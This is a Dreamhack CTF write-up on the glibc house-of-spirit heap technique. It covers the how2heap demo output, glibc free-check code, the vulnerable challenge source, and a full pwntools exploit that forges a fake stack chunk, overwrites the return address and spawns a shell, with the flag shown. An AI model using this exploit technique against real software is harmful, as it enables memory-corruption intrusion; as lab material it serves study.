house_of_spirit

seo@seo:~/Documents/dreamhack/house_of_spirit/demo$ gcc -o house_of_spirit house_of_spirit.c
house_of_spirit.c: In function ‘main’:
house_of_spirit.c:39:9: warning: ‘free’ called on unallocated object ‘fake_chunks’ [-Wfree-nonheap-object]
   39 |         free(victim);
      |         ^~~~~~~~~~~~
house_of_spirit.c:24:14: note: declared here
   24 |         long fake_chunks[10] __attribute__ ((aligned (0x10)));
      |              ^~~~~~~~~~~
seo@seo:~/Documents/dreamhack/house_of_spirit/demo$ ./house_of_spirit
This file demonstrates the house of spirit attack.
This attack adds a non-heap pointer into fastbin, thus leading to (nearly) arbitrary write.
Required primitives: known target address, ability to set up the start/end of the target memory

Step 1: Allocate 7 chunks and free them to fill up tcache

Step 2: Prepare the fake chunk
The target fake chunk is at 0x7fffffffe1d0
It contains two chunks. The first starts at 0x7fffffffe1d8 and the second at 0x7fffffffe218.
This chunk.size of this region has to be 16 more than the region (to accommodate the chunk data) while still falling into the fastbin category (<= 128 on x64). The PREV_INUSE (lsb) bit is ignored by free for fastbin-sized chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.
... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end.
Now set the size of the chunk (0x7fffffffe1d8) to 0x40 so malloc will think it is a valid chunk.
The chunk.size of the *next* fake region has to be sane. That is > 2*SIZE_SZ (> 16 on x64) && < av->system_mem (< 128kb by default for the main arena) to pass the nextsize integrity checks. No need for fastbin size.
Set the size of the chunk (0x7fffffffe218) to 0x1234 so freeing the first chunk can succeed.

Step 3: Free the first fake chunk
Note that the address of the fake chunk must be 16-byte aligned.


Step 4: Take out the fake chunk
Now the next calloc will return our fake chunk at 0x7fffffffe1e0!
malloc can do the trick as well, you just need to do it for 8 times.malloc(0x30): 0x7fffffffe1e0, fake chunk: 0x7fffffffe1e0

void *chunks[7];
for(int i=0; i<7; i++) {
	chunks[i] = malloc(0x30);
}
for(int i=0; i<7; i++) {
	free(chunks[i]);
}

// This has nothing to do with fastbinsY (do not be fooled by the 10) - fake_chunks is just a piece of memory to fulfil allocations (pointed to from fastbinsY)
long fake_chunks[10] __attribute__ ((aligned (0x10)));
printf("The target fake chunk is at %p\n", fake_chunks);
printf("It contains two chunks. The first starts at %p and the second at %p.\n", &fake_chunks[1], &fake_chunks[9]);
printf("This chunk.size of this region has to be 16 more than the region (to accommodate the chunk data) while still falling into the fastbin category (<= 128 on x64). The PREV_INUSE (lsb) bit is ignored by free for fastbin-sized chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\n");
puts("... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end.");
printf("Now set the size of the chunk (%p) to 0x40 so malloc will think it is a valid chunk.\n", &fake_chunks[1]);
fake_chunks[1] = 0x40; // this is the size

printf("The chunk.size of the *next* fake region has to be sane. That is > 2*SIZE_SZ (> 16 on x64) && < av->system_mem (< 128kb by default for the main arena) to pass the nextsize integrity checks. No need for fastbin size.\n");
printf("Set the size of the chunk (%p) to 0x1234 so freeing the first chunk can succeed.\n", &fake_chunks[9]);
fake_chunks[9] = 0x1234; // nextsize

#define CHUNK_HDR_SZ (2 * SIZE_SZ)

static void
_int_free (mstate av, mchunkptr p, int have_lock)
{
...
    if (__builtin_expect (chunksize_nomask (chunk_at_offset (p, size))
			  <= CHUNK_HDR_SZ, 0)
	|| __builtin_expect (chunksize (chunk_at_offset (p, size))
			     >= av->system_mem, 0))
      {
	bool fail = true;
...

#define SIZE_SZ (sizeof (INTERNAL_SIZE_T))

seo@ubuntu:~/dreamhack/house_of_spirit$ checksec ./house_of_spirit
[!] Could not populate PLT: future feature annotations is not defined (unicorn.py, line 2)
[*] '/home/seo/dreamhack/house_of_spirit/house_of_spirit'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

// gcc -o hos hos.c -fno-stack-protector -no-pie

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <string.h>

char *ptr[10];

void alarm_handler() {
    exit(-1);
}

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(60);
}

void get_shell() {
	execve("/bin/sh", NULL, NULL);
}

int main() {
	char name[32];
	int idx, i, size = 0;
	long addr = 0;

	initialize();
	memset(name, 0, sizeof(name));
	printf("name: ");
	read(0, name, sizeof(name)-1);

	printf("%p: %s\n", name, name);
	while(1) {
		printf("1. create\n");
		printf("2. delete\n");
		printf("3. exit\n");
		printf("> ");

		scanf("%d", &idx);

		switch(idx) {
			case 1:
				if(i > 10) {
					return -1;
				}
				printf("Size: ");
				scanf("%d", &size);

				ptr[i] = malloc(size);

				if(!ptr[i]) {
					return -1;
				}
				printf("Data: ");
				read(0, ptr[i], size);
				i++;
				break;
			case 2:
				printf("Addr: ");
				scanf("%ld", &addr);

				free(addr);
				break;
			case 3:
				return 0;
			default: 
				break;
		}
	}

	return 0;
}

int __cdecl main(int argc, const char **argv, const char **envp)
{
  void *ptr; // [rsp+0h] [rbp-40h] BYREF
  int v5; // [rsp+8h] [rbp-38h] BYREF
  int v6; // [rsp+Ch] [rbp-34h] BYREF
  char s[44]; // [rsp+10h] [rbp-30h] BYREF
  int v8; // [rsp+3Ch] [rbp-4h]
...

from pwn import *
#context.log_level = 'debug'
context(arch='amd64', os='linux')
warnings.filterwarnings('ignore')

p = remote('host3.dreamhack.games', 21851)
#p = process('./house_of_spirit')
e = ELF('./house_of_spirit')
get_shell = e.symbols["get_shell"]

def create(size, data):
    p.sendlineafter("> ", "1")
    p.sendlineafter(": ", size)
    p.sendafter(": ", data)

def delete(addr):
    p.sendlineafter("> ", "2")
    p.sendlineafter(": ", addr)

# allocate fake chunk size
# prev_size = 0, size = 0x50(header size: 0x10, data size: 0x40)
fake_size = p64(0) + p64(0x50)
p.sendafter(": ", fake_size)

# get fake chunk address
stack = int(p.recvuntil(b":").replace(b":",b"").decode(), 16)
print(f"name stack: {hex(stack)}")

delete(str(stack + 0x10))

payload = b"A" * 0x28
payload += p64(get_shell)

create(str(0x40), payload)

p.sendlineafter("> ", "3")

p.interactive()

seo@seo:~/Documents/dreamhack/house_of_spirit$ python3 solve.py
[+] Opening connection to host3.dreamhack.games on port 21851: Done
[*] '/home/seo/Documents/dreamhack/house_of_spirit/house_of_spirit'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
name stack: 0x7ffd9c7d8ff0
[*] Switching to interactive mode
$ ls
flag
house_of_spirit
$ cat flag
DH{d351d8d936884dc4aaebb689e8a183b2}$
[*] Interrupted
[*] Closed connection to host3.dreamhack.games port 21851